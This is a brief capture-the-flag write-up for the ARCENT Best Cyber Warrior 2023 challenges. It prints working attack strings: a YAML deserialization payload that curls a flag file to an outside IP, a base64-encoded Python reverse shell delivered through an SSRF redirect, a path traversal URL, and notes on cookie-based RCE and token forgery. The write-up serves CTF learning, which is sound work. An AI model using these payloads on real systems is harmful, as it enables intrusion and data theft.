🪖ARCENT Best Cyber Warrior 2023
Quick challenge writeups for the CTF to explain exploitation.
CyberCompose
Vulnerable to https://www.rapid7.com/db/modules/exploit/multi/fileformat/nodejs_js_yaml_load_code_exec/ Rapid7
Payload:
!!python/object/apply:os.popen ['curl -X POST http://159.223.147.201/ --data "$(cat /app/RanDomflagN4m3.txt)"']Confuser
Vulnerable to https://github.com/advisories/GHSA-ffqj-6fqr-9h24
Intruder
It was a hassle setting up my own https server for it and couldn't use self signed certs because it did not have insecure option enabled on the vulnerable webserver.
Was able to get YAML deserialization with this php redirect to get the SSRF and exploit working:
<?php header('Location: http://127.0.0.1:5000/yaml/ISFweXRob24vb2JqZWN0L25ldzpXYXJuaW5nCnN0YXRlOgogIGV4dGVuZDogISFweXRob24vbmFtZTpleGVjCmxpc3RpdGVtczogJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxNTkuMjIzLjE0Ny4yMDEiLDgwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc%3D'); ?>S7R34M5
from scapy.all import *
import sys
#take in file name from argument
file = sys.argv[1]
#open file
f = open(file, "r")
# Define the source and destination IP addresses
source_ip = "192.168.245.129"
destination_ip = "192.168.1.7"
# Define an array to store the data bytes
data_array = []
packets = rdpcap(file)
def process_packet(packet):
# find all UDP packets from 192.168.245.129 to 192.168.1.7 and get the data byte and add to array and print array
if packet.haslayer(IP) and packet.haslayer(UDP) and packet[IP].src == source_ip and packet[IP].dst == destination_ip:
data = packet[Raw].load
data_array.append(data)
# Process each packet in the pcap file
for packet in packets:
process_packet(packet)
# merge the array and print
data = b''.join(data_array)
print(str(data, 'utf-8'))LeakyPond
Initial Access
Path traversal: /vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../var/www/html/debugger_infra-temp.php
Debug was still enabled and would execute system on the debug cookie value.
RCE:
Used Ivan Sincek PHP reverse shell for more stable environment.
Priv Esc
SayingPlease
Simply change the base64 encoded authentication token from user to admin and the index.php page will display the flag.
Last updated